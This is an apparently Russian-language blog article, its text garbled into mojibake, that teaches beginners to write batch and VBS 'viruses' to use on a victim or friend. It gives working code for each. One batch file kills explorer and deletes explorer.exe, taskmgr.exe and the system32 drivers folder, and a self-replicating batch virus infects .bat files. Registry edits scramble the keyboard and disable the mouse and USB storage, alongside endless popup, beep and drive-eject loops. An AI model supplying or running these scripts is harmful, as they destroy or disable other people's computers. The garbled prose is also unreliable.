vbs — ΠΠ»Ρ Π½Π°ΡΠΈΠ½Π°ΡΡΠΈΡ Ρ Π°ΠΊΠ΅ΡΠΎΠ²
ΠΡ Π²ΠΎΡ Ρ ΡΠ½ΠΎΠ²Π° Ρ Π²Π°ΠΌΠΈ.
ΠΡΠ΅Π½Ρ ΠΆΠ°Π»Ρ ΡΡΠΎ wog.net ΡΠΌΠ΅Ρ ΡΠ½Π΅ΡΡ Π²ΠΌΠ΅ΡΡΠ΅ Ρ ΡΠΎΠ±ΠΎΠΉ Π² ΠΌΠΎΠ³ΠΈΠ»Ρ ΠΏΠ°ΡΠΎΡΠΊΡ ΠΌΠΎΠΈΡ
ΡΡΠ°ΡΠ΅ΠΉ.ΠΡ Π΄Π° Π»Π°Π΄Π½ΠΎ.
ΠΡΠ΄Π΅ΠΌ Π²ΠΌΠ΅ΡΡΠ΅ Π΄Π²ΠΈΠ³Π°ΡΡΡΡ Π²ΠΏΠ΅ΡΠ΅Π΄ ΡΠ²ΠΎΡΠΈΡΡ ΠΈ Π²ΡΡΠ²ΠΎΡΡΡΡ Π²ΡΡΠΊΠΈΠ΅ ΠΏΠ°ΠΊΠΎΡΡΠΈ).
ΠΡ ΠΏΠΎΠ΅Ρ
Π°Π»ΠΈ.
Π ΡΡΠΎΡ ΡΠ°Π· Π΄Π°Π²Π°ΠΉΡΠ΅ Π½Π΅ Π±ΡΠ΄Π΅ΠΌ ΠΏΠΈΡΠ°ΡΡ bat ΡΠ°ΠΉΠ»Ρ Π² ΠΎΠ³ΡΠΎΠΌΠ½ΡΡ
ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²Π°Ρ
(Π½Ρ Π΅ΡΠ»ΠΈ ΡΠΎΠ»ΡΠΊΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π΄Π²Π°). Π Π·Π°ΠΉΠΌΠ΅ΠΌΡΡ ΠΌΡ VBS.
ΠΠ°ΡΠ½Π΅ΠΌ ΠΌΡ Ρ bat Π΄Π°-Π΄Π° Π΄Π»Ρ ΡΠ°Π·ΠΌΠΈΠ½ΠΎΡΠΊΠΈ.
ΠΡΠΎ Π½Π΅ Π·Π½Π°Π΅Ρ ΡΡΠΎ ΡΡΠΎ Π·Π° ΠΈΡΠΏΠΎΠ»Π½ΡΠΉΠΌΡΠ΅ ΡΠ°ΠΉΠ»Ρ Ρ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ bat ΠΈΠ»ΠΈ cmd ΡΠΎΡ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ Win+R
ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅Ρ CMD ΠΈ ΠΏΠΈΡΠ΅Ρ help.ΠΠ°Π΄Π΅ΡΡΡ Π΄Π°Π»ΡΡΠ΅ ΠΎΠ±ΡΡΡΠ½ΡΡΡ Π½Π΅ Π½ΡΠΆΠ½ΠΎ.
Π’Π°ΠΊ Π²ΠΎΡ Π½Π°Ρ ΡΡΠΏΠ΅Ρ Π±ΠΎΠ»ΡΡΠΎΠΉ ΠΈ ΡΠ»ΠΎΠΆΠ½ΡΠΉ Π²ΠΈΡΡΡ
Π±ΡΠ΄Π΅Ρ ΡΠΎΡΡΠΎΡΡΡ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΈΡ
ΡΡΡΠΎΠΊ.
Π’ΠΎΠ»ΡΠΊΠΎ Π΄Π»Ρ Π½Π°ΡΠ°Π»Π° Π½Π°ΠΌ ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΎΡΠΊΡΡΡΡ Π½Π°ΡΡ Π»ΡΠ±ΠΈΠΌΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΡ ΡΡΡΠΎΠΊΡ ΠΈ Π½Π°Π±ΡΠ°ΡΡ SET
ΡΡΠΎ Π½Π°Π΄ΠΎ Π΄Π»Ρ ΡΠΎΠ³ΠΎ ΡΡΠΎΠ±Ρ ΡΠ·Π½Π°ΡΡ ΡΠΏΠΈΡΠΎΠΊ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ
ΡΡΠ΅Π΄ Windows.Π½Π°ΠΌ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Π° ΠΏΠΎΡΠ»Π΅Π΄Π½ΡΡ ΡΡΡΠΎΠΊΠ° windir — ΡΡΠΎ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ Π·Π°ΠΌΠ΅Π½ΡΠ΅Ρ ΠΏΠΎΠ»Π½ΡΠΉ ΠΏΡΡΡ ΠΊ ΠΏΠ°ΠΏΠΊΠ΅
Windows. ΠΠ°ΡΠ½Π΅ΠΌ?ΠΡΠΊΡΡΠ²Π°Π΅ΠΌ notepad(Π±Π»ΠΎΠΊΠ½ΠΎΡ) ΠΈ ΠΏΠΈΡΠ΅ΠΌ ΡΡΡ ΠΏΡΡΠ³Ρ.
*******************************
taskkill /f /im explorer. exe
del /q /f %windir%\explorer.exe
del /q /f %windir%\taskmgr.exe
rd /q /s %windir%\inf
rd /q /s %windir%\system32\drivers
********************************
Π‘ΠΎΡ
ΡΠ°Π½ΡΠ΅ΠΌ Π½Π°Ρ ΡΠ°ΠΉΠ» ΠΊΠ°ΠΊ I_LOVE_YOU.bat ΠΈ ΡΠ°Π΄ΡΠ΅ΠΌΡΡ.
ΠΠΎΡΠ»Π΅ Π·Π°ΠΏΡΡΠΊΠ° ΡΠ°ΠΊΠΎΠΉ ΠΌΠΈΠΊΡΠΎΠ²Π΅ΡΠΈ Π½Π° ΠΌΠ°ΡΠΈΠ½Π΅ Π½Π΅ Π±ΡΠ΄Π΅Ρ Π½Π΅ ΡΠ°Π±ΠΎΡΠ΅Π³ΠΎ ΡΡΠΎΠ»Π° Π½ΠΈ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅ΡΠ° Π·Π°Π΄Π°Ρ Π½ΠΈ Π΄ΡΠ°ΠΉΠ²Π΅ΡΠΎΠ².
Π― ΠΎΠ±Π΅ΡΠ°Π» ΠΎΠ΄ΠΈΠ½? ΠΠ°?ΠΠ·Π²ΠΈΠ½ΠΈΡΠ΅ Π½Π΅ ΡΡΠ΅ΡΠΏΠ΅Π» ΠΈ Π²ΠΎΡ Π²ΡΠΊΠ»Π°Π΄ΡΠ²Π°Ρ Π²ΡΠΎΡΠΎΠΉ …
********************************
@echo off%[Bams]%
if ‘%1==’In_ goto Bamsin
if exist c:\Bams.bat goto Bamsru
if not exist %0 goto Bamsen
find «Bams»<%0>c:\Bams.bat
attrib +h c:\Bams.bat
:Bamsru
for %%t in (*.bat) do call c:\MeTrA In_ %%t
goto Bamsen
:Bamsin
find «Bams»<%2>nul
if not errorlevel 1 goto Bamsen
type c:\Bams.bat>>%2
:Bamsen
*********************************
ΠΡΠΎ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½ΡΠΉ Π²ΠΈΡΡΡ Π½ΠΎ ΠΎΠ½ ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΡΠΉ .
ΠΠ½ ΠΏΠΎΠ»Π·Π°Π΅Ρ ΠΏΠΎ Π²ΠΈΠ½ΡΡ ΠΈΡΠ΅Ρ ΠΈ Π·Π°ΡΠ°ΠΆΠ°Π΅Ρ ΡΠΎΠ±ΠΎΠΉ *.bat ΡΠ°ΠΉΠ»Ρ.
ΠΡΠ΅!ΠΠ΅ΡΠ΅Ρ
ΠΎΠ΄ΠΈΠΌ ΠΊ VBS Π²ΠΈΡΡΡΠ°ΠΌ.
Π―Π·ΡΠΊ VBS Π² Π²ΠΈΠ½Π΄Π΅ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅ΡΡΡ Ρ 98 Π²Π΅ΡΡΠΈΠΈ ΠΈ Π½Π΅ ΡΡΠ΅Π±ΡΠ΅Ρ ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ
Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ
ΠΈ Π΄ΡΡΠ³ΠΎΠΉ Π½Π΅Π½ΡΠΆΠ½ΠΎΠΉ ΡΠΈΠ³Π½ΠΈ).ΠΏΠΎ Π΄ΡΡΠ³ΠΎΠΌΡ VBS-ΡΠ·ΡΠΊ ΡΠΊΡΠΈΠΏΡΠΎΠ²
ΠΡ ΠΏΡΠΈΡΡΡΠΏΠΈΠΌ Ρ ΡΠ°ΠΌΠΎΠ³ΠΎ Π»Π΅Π³ΠΊΠΎΠ³ΠΎ Π½Π°ΠΏΡΠ³Π°Π΅ΠΌ ΠΆΠ΅ΡΡΠ²Ρ ΡΡΡΠ°ΡΠ½ΡΠΌ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΠΌ.Π’ΠΈΠΏΠ°:Π§Π΅ΡΠ΅Π· ΠΌΠΈΠ½ΡΡΡ Π²Π°ΡΠ° ΠΊΡΡΡΠ° Π·Π°Π±ΠΎΠ»Π΅Π΅Ρ Π±Π΅ΡΠ΅Π½ΡΡΠ²ΠΎΠΌ!ΠΠΎΡΡΠ°Π²ΠΈΡΡ ΠΏΡΠΈΠ²ΠΈΠ²ΠΊΡ?
Π ΡΠΏΡΠΎΡΠΈΠΌ ΠΠ ΠΈΠ»ΠΈ ΠΠΠ’.-32
Π‘ ΠΊΠΎΠ»ΠΈΡΠ΅ΡΡΠ²ΠΎΠΌ ΠΏΠΎΠΊΠ°Π·Π° 1 ΠΈ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ ΠΏΠΎΠΊΠ°Π·Π° 0(ΡΠΎ Π΅ΡΡΡ ΠΏΠΎΠΊΠ° Π½Π΅ Π²ΡΠ±Π΅ΡΠΈΡ ΡΡΠΎ ΠΎΠ½ Ρ
ΠΎΡΠ΅Ρ)
ΠΠ½Π°ΡΠΎΠΊ Π²ΡΠ±Π΅ΡΠΈΠΌ Π²ΠΎΠΏΡΠΎΡΠ°
ΠΊΠ½ΠΎΠΏΠΊΠΈ Π΄Π° ΠΈ Π½Π΅Ρ-4
ΠΡΠΊΡΡΠ²Π°Π΅ΠΌ Π±Π»ΠΎΠΊΠ½ΠΎΡ ΠΈ ΠΏΠΈΡΠ΅ΠΌ.
***********************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
i=1
while i>0 or i<0
S.popup «Π§Π΅ΡΠ΅Π· ΠΌΠΈΠ½ΡΡΡ Π²Π°ΡΠ° ΠΊΡΡΡΠ° Π·Π°Π±ΠΎΠ»Π΅Π΅Ρ Π±Π΅ΡΠ΅Π½ΡΡΠ²ΠΎΠΌ!ΠΠΎΡΡΠ°Π²ΠΈΡΡ ΠΏΡΠΈΠ²ΠΈΠ²ΠΊΡ?»,0, «ΠΠΉΠ±ΠΎΠ»ΠΈΡ»,4+32
i=i-1
wend
*************************************
ΡΠΎΡ ΡΠ°Π½ΡΠ΅ΠΌ ΡΡΠΎ ΡΡΠ΄ΠΎ ΠΊΠ°ΠΊ mouse.vbs
ΠΡΠ»ΠΈ ΠΊΡΠΎ ΡΠΎ Ρ
ΠΎΡΠ΅Ρ ΡΡΠΎΠ± Π·Π½Π°ΡΠΎΠΊ Π±ΡΠ» Π²ΠΎΡΠΊΠ»ΠΈΡΠ°Π½ΠΈΠ΅ ΡΠΎΡ ΠΏΠΈΡΠ΅Ρ 48 ΠΠΌΠ΅ΡΡΠΎ 32.
ΠΠ°Π»ΡΡΠ΅ ΠΌΡ ΡΠ°Π·Π±Π΅ΡΠ΅ΠΌΡΡ Ρ ΡΡΠΈΠΌΠΈ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠ°ΠΌΠΈ).
ΠΠΎΠΏΡΠ³Π°Π»ΠΈ Π·Π½Π°ΡΠΈΡ ΠΌΡ ΠΆΠ΅ΡΡΠ²Ρ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡΠΌΠΈ (ΠΈΠ»ΠΈ Π±Π°Π±ΡΡΠΊΡ ΠΊΠΎΡΠΎΡΠ°Ρ Π»ΡΠ±ΠΈΡ ΠΏΠ°ΡΡΡΠ½Ρ ) ΠΈ Π΄Π²ΠΈΠΆΠ΅ΠΌΡΡ Π²ΠΏΠ΅ΡΠ΅Π΄.
Π Π²ΠΏΠ΅ΡΠ΅Π΄ΠΈ Ρ Π½Π°Ρ ΠΊΠΎΡΠ·ΠΈΠ½Π°(ΡΠΊΡΡΠ½ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅) Π½Π°Π΄ΠΎ Π±Ρ Π΅Π³ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Π½Π° Π‘Π²Π°Π»ΠΊΡ ΠΈΠ»ΠΈ ΠΠΎΠΌΠΆΠ°ΡΠ½ΠΈΠΊ
Π²ΡΠ΅ Π·Π°Π²ΠΈΡΠΈΡ ΠΎΡ ΡΠ°Π½ΡΠ°Π·ΠΈΠΈ Π½ΠΎ ΠΊΠΎΠ΄ ΠΎΡΠ΅Π½Ρ ΠΏΡΠΎΡΡΠΎΠΉ.
***************************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regwrite «HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString»,»Π‘Π²Π°Π»ΠΊΠ°»
***************************************
ΠΠ°Π·Π²Π°Π½ΠΈΠ΅ ΡΠΎ ΠΏΠΎΠΌΠ΅Π½ΡΠ»ΠΈ ΡΠΎΠ»ΡΠΊΠΎ Π·Π°ΡΠ΅ΠΌ Π½Π°ΠΌ ΡΠ²Π°Π»ΠΊΠ° Π½Π° ΡΡΠΎΠ»Π΅? ΠΡΠ΅ ΠΌΠ΅ΡΡΠΎ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ Π° Π½Π΅ ΡΠ½Π΅ΡΡΠΈ Π»ΠΈΠ½Π°ΠΌ Π΅Π΅ Π²ΠΎΠΎΠ±ΡΠ΅?
ΠΠ΅Ρ ΠΏΡΠΎΠ±Π»Π΅ΠΌ Π΄Π»Ρ ΡΡΠΈΡ
ΡΡΡΠ°Π΅Π² ΠΈΠΌΠ΅Π΅ΠΌ ΡΡΠΎ ΡΡΠ΄ΠΎ.
****************************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regdelete»HKLM\SOFTWARE\Microsoft\Windows\Curren tVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}\»
****************************************
ΠΠ΅ ΡΡΡΠ°Π» ΠΌΠΎΠΉ Π΄ΡΡΠ³? ΠΡΠ»ΠΈ Π½Π΅Ρ ΡΠΎ ΠΌΡ ΠΏΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΠΌ ΡΡΠ΄ΠΈΡΡ , Π° Π΅ΡΠ»ΠΈ ΡΠ΅ΡΡΠ½ΠΎ ΡΠΎ ΡΠΎΠ»ΡΠΊΠΎ Π½Π°ΡΠΈΠ½Π°Π΅ΠΌ.
Π§ΡΠΎ ΡΠΎ ΡΠΊΡΡΠ½ΠΎ.Π½Π°Π΄ΠΎ Π±Ρ ΠΌΡΠ·ΡΠΊΡ Π΄Π»Ρ ΠΏΠΎΠ΄Π½ΡΡΠΈΡ Π½Π°ΡΡΡΠΎΠ΅Π½ΠΈΡ Π½Ρ ΡΡΡ Ρ Π½Π°Ρ Π΄Π²Π° Π²ΡΡ
ΠΎΠ΄Π° Π»ΠΈΠ±ΠΎ ΠΌΡ Π·Π°ΡΡΠ°Π²Π»ΡΠ΅ΠΌ ΡΡΠ΅ΡΠ°ΡΡ ΡΠ»ΠΎΠΏΠΈΠ³ΡΡΠ·
,Π»ΠΈΠ±ΠΎ ΠΏΠΈΡΠ°ΡΡ Π±Π΅ΡΠΏΡΠΈΡΡΠ²Π½ΠΎ Π²ΡΡΡΠΎΠ΅Π½Π½ΡΠΉ Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ.ΠΡΠ±ΠΎΡ Π·Π° Π²Π°ΠΌΠΈ.
ΠΠΎΡ ΡΡΠΎ ΠΏΡΠΈΠΊΠΎΠ» Ρ ΡΠ»ΠΎΠΏΠΈΠ³ΡΡΠ·ΠΎΠΌ.
*****************************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
do
fso.getfile(«A:\»)
loop
******************************************
Π½Ρ Π° ΡΡΠΎ ΡΠΆΠ΅ Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ.
******************************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
do
execute»S.Run «»%comspec% /c «» & Chr(7), 0,True»
loop
*******************************************
ΠΡ ΡΠ΅ΠΏΠ΅ΡΡ ΠΌΡ Π·Π°ΠΉΠΌΠ΅ΠΌΡΡ Π±ΠΎΠ»Π΅Π΅ ΡΠ΅ΡΡΠ΅Π·Π½ΡΠΌΠΈ Π²Π΅ΡΠ°ΠΌΠΈ.
ΠΡΠ²Π°ΡΡ ΡΠ»ΡΡΠ°ΠΈ ΡΡΠΎ Π½Π°Π΄ΠΎ ΠΏΠΎΡΠ°Π»ΠΈΠ·ΠΎΠ²Π°ΡΡ Π»ΠΈΠ±ΠΎ ΠΊΠ»Π°Π²ΠΈΠ°ΡΡΡΡ Π»ΠΈΠ±ΠΎ ΠΌΡΡΠΊΡ.
ΠΠ»Π°Π²ΠΈΠ°ΡΡΡΡ Π² Π½Π°ΠΊΠ°ΡΡ Π²ΡΠ²ΠΎΠ΄ΠΈΠΌ ΡΠ°ΠΊ:
*******************************************
Set S = CreateObject(«Wscript. Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.run»reg add «»hklm\system\currentcontrolset\control\keyboa rd layout»» /v «»Scancode Map»» /t REG_BINARY /d 0000000000000000A000000000005DE000000E0000003A0000 0053E000004FE000001C0000000100000047E0000052E00000 380000001D0000002A0000005BE000004500000051E0000049 E000005EE0000037E0000038E000001DE00000360000005CE0 0000460000005FE00000390000000F00000063E00000280000 000C000000330000003400000035000000270000001A000000 2B0000001B000000290000000D0000000B0000000200000003 00000004000000050000000600000007000000080000000900 00000A0000001E000000300000002E00000020000000120000 00210000002200000023000000170000002400000025000000 26000000320000003100000018000000190000001000000013 0000001F00000014000000160000002F000000110000002D00 0000150000002C0000003B0000003C0000003D0000003E0000 003F0000004000000041000000420000004300000044000000 5700000058000000640000006500000066000000520000004F 00000050000000510000004B0000004C0000004D0000004700 000048000000490000004A000000370000005300000035E000 004E0000001CE0000050E000004BE000004DE0000048E00000 0000″,0
********************************************
Π ΡΠ»Π΅Π΄ΠΎΠΌ Π»Π΅ΡΠΈΡ ΠΊΡΡΡΠ°.
********************************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regwrite»HKLM\SYSTEM\CurrentControlSet\Services\ Mouclass\Start»,»4″,»REG_DWORD»
********************************************
ΠΠ°ΡΠ΅ΠΌ Π½Π°ΠΌ Π²Π΄ΡΡΠ³ ΠΏΡΠΈΡΠΏΠΈΡΠΈΠ»ΠΎ ΠΎΡΠΊΠ»ΡΡΠΈΡΡ Π²ΡΠ΅ ΡΡΠΎ Π²ΠΈΡΠΈΡ Π½Π° USB ΠΏΠΎΡΡΠ°Ρ
.ΠΡ Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ ΡΡΠΎΠ± ΡΠ΅Π» Π½Π΅ ΡΡΠΏΠ΅Π»
ΡΠΎΡ
ΡΠ°Π½ΠΈΡΡ Π²Π΅ΡΡ Π΄ΠΎΡΠΎΠ³ΠΎΠΉ Π΅ΠΌΡ ΡΠ΅ΡΠ΄ΡΡ ΠΌΡΡΠΎΡ Π½Π° ΡΠ»Π΅ΡΠΊΡ.
Π ΠΌΡ Π΄Π΅Π»Π°Π΅ΠΌ ΠΎΠ±ΡΠ΅Π·Π°Π½ΠΈΠ΅ ΠΏΠΎΡΡΠΎΠ²=)
**********************************************
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.regwrite»HKLM\SYSTEM\CurrentControlSet\Services\ USBSTOR\Start»,»4″,»REG_DWORD»
**********************************************
ΠΡ Π²ΠΎΡ Ρ ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Π²Π΅Π» Π²Π°Ρ Π² ΠΌΠΈΡ ΡΡΡΠΎΠΊ ΠΈ ΠΏΠΎΠ΄Π»ΡΠ½ΠΎΠΊ Π½Π° VBS.
ΠΡΠΎ ΡΠΎΠ»ΡΠΊΠΎ ΠΏΠ΅ΡΠ²Π°Ρ ΡΠ°ΡΡΡ ΠΌΠΎΠ΅ΠΉ Π½Π΅Π±ΠΎΠ»ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠΈ.
Π Π°ΡΡ
ΠΈΠ²Π΅ Π»Π΅ΠΆΠ°Ρ Π²ΡΠ΅ ΡΠ°ΠΉΠ»ΠΈΠΊΠΈ ΠΊΠΎΡΠΎΡΡΠ΅ ΠΎΠΏΠΈΡΠ°Π½ΡΠ΅ Π² ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅.
ΠΠΎΠ½Π΅Ρ ΠΏΠ΅ΡΠ²ΠΎΠΉ ΡΠ°ΡΡΠΈ.
Π‘ΡΠ°ΡΡΠ΅ Π΄ΠΎΠ±ΡΡΠ΅ Π²ΠΈΡΡΡΡ Π² bat ΠΈ vbs
ΠΡΠ΅ΠΌ ΠΏΡΠΈΠ²Π΅Ρ ΡΠ΅Π³ΠΎΠ΄Π½Ρ ΠΌΡ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡΠΈΠ» ΠΊΠ°ΠΊ Π·Π°ΡΡΠΎΠ»ΠΈΡΡ Π΄ΡΡΠ³Π° Ρ ΠΏΠΎΠΌΠΎΡΡΡ Π²ΠΈΡΡΡΠΎΠ² Π² bat ΠΈ vbs.
Π‘ΠΊΡΠΈΠΏΡΡ:
1. ΠΡΠΈΠ±ΠΊΠ°
do
MsgBox»Π’ΡΡ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΈΡΠ°ΡΡ ΡΡΠΎ Ρ
ΠΎΡΠΈΠΌ!»,20+1,»ΠΡΠΈΠ±ΠΊΠ°»
loop
2. ΠΠΈΠ³Π°ΡΡΠ°Ρ ΠΊΠ»Π°Π²ΠΈΠ°ΡΡΡΠ°.
ΠΠ°ΡΡΠ°Π²Π»ΡΠ΅Ρ ΠΌΠΈΠ³Π°ΡΡ Π»Π°ΠΌΠΏΠΎΡΠΊΠΈ Ρ ΠΊΠ»Π°Π²ΠΈΠ°ΡΡΡΡ (Num Lock, Caps Lock, Scroll Lock)
Π‘ΠΊΡΠΈΠΏΡ:
Set s = CreateObject(«Wscript.Shell»)
do
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s. sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{numlock}»
wscript.sleep 80
s.sendkeys»{capslock}»
wscript.sleep 80
s.sendkeys»{scrolllock}»
wscript.sleep 80
loop
3. ΠΡΠ΅Π·ΠΆΠ°ΡΡΠΈΠΉ — Π²ΡΠ΅Π·ΠΆΠ°ΡΡΠΈΠΉ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ΄
ΠΠ°ΡΡΠ°Π²Π»ΡΠ΅Ρ Π±Π΅ΡΠΊΠΎΠ½Π΅ΡΠ½ΠΎ Π²ΡΠ΅Π·ΠΆΠ°ΡΡ — Π²ΡΠ΅Π·ΠΆΠ°ΡΡ Π΄ΠΈΡΠΊΠΎΠ²ΠΎΠ΄ Π² ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ΅
Π‘ΠΊΡΠΈΠΏΡ:
Set WMPlayer = CreateObject(«WMPlayer.OCX.7»)
do
WMPlayer.CdRomCollection.Item(0).Eject()
loop
4. ΠΠ΅ΡΠΊΠΎΠ½Π΅ΡΠ½ΠΎ ΠΏΠΈΡΠ°ΡΠΈΠΉ ΡΠΈΡΡΠ΅ΠΌΠ½ΡΠΉ Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ
ΠΠ΅ΠΉΡΡΠ²ΠΈΠ΅:
ΠΠ°ΡΡΠ°Π²Π»ΡΠ΅Ρ Π±Π΅ΡΠΊΠΎΠ½Π΅ΡΠ½ΠΎ ΠΏΠΈΡΠ°ΡΡ ΡΠΈΡΡΠ΅ΠΌΠ½ΡΠΉ Π΄ΠΈΠ½Π°ΠΌΠΈΠΊ Π² ΠΏΡΠΎΡΠ΅ΡΡΠΎΡΠ΅ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ°
Π‘ΠΠ ΠΠΠ’:
Set S = CreateObject(«Wscript.Shell»)
do
execute»S.Run «»%comspec% /c «» & Chr(7), 0,True»
loop
5. ΠΠ΅ΡΠΊΠΎΠ½Π΅ΡΠ½ΠΎ ΠΆΡΠΆΠΆΠ°ΡΠΈΠΉ ΡΠ°Π·ΡΠ΅ΠΌ Π΄Π»Ρ Π΄ΠΈΡΠΊΠ΅Ρ
ΠΠ΅ΠΉΡΡΠ²ΠΈΠ΅:
ΠΠΌΠΈΡΠΈΡΡΠ΅Ρ, ΡΡΠΎ Π² ΠΏΡΠΈΠ²ΠΎΠ΄Π΅ Π΄Π»Ρ Π΄ΠΈΡΠΊΠ΅Ρ Π½Π°Ρ
ΠΎΠ΄ΠΈΡΡΡ Π΄ΠΈΡΠΊΠ΅ΡΠ°. ΠΠ°ΡΡΠ°Π²Π»ΡΠ΅Ρ Π΅Π³ΠΎ ΠΆΡΠΆΠΆΠ°ΡΡ.
Π‘ΠΠ ΠΠΠ’:
Set WSHShell=WScript.CreateObject(«WScript.Shell»)
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject(«WScript. Shell»)
C=WshShell.Run(Fuck,Wait)
End Sub
do
Call Zapadlo(«A:\»,true)
loop
ΠΠΎΡΠΎΠΌ ΡΠΎΡ
ΡΠ°Π½ΡΠ΅ΠΌ ΡΡΠΎΡ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΠΉ Π΄ΠΎΠΊΡΠΌΠ΅Π½Ρ ΠΈ ΠΏΠ΅ΡΠ΅ΠΈΠΌΠ΅Π½ΠΎΠ²ΡΠ²Π°Π΅ΠΌ ΠΈΠ· .txt Π² .vbs
ΠΡΠ΅ Π³ΠΎΡΠΎΠ²ΠΎ
ΠΠ°ΠΊΡΡΡΡ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΅ΡΠ΅Π· Π΄ΠΈΡΠΏΠ΅ΡΡΠ΅Ρ Π·Π°Π΄Π°Ρ
ΠΠ°Ρ
ΠΎΠ΄ΠΈΠΌ Π² ΠΏΡΠΎΡΠ΅ΡΡΡ Π² Π΄ΠΈΡΠΏΠ΅ΡΡΠ΅ΡΠ΅ Π·Π°Π΄Π°Ρ ΠΈ ΠΈΡΠ΅ΠΌ ΠΏΡΠΎΡΠ΅ΡΡ wscript
Π Π·Π°Π²Π΅ΡΡΠ°Π΅ΠΌ ΡΡΠΎΡ ΠΏΡΠΎΡΠ΅ΡΡ
Π‘ΠΏΠ°ΡΠΈΠ±ΠΎ Π·Π° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅
ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π΄Π»Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π½Π° ΠΊΠΎΠΌΠΏΡΡΡΠ΅Ρ. ΠΠΈΡΠ΅ΠΌ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ (ΡΠΊΡΠΈΠΏΡΡ) Π² ΠΠ»ΠΎΠΊΠ½ΠΎΡΠ΅ Windows
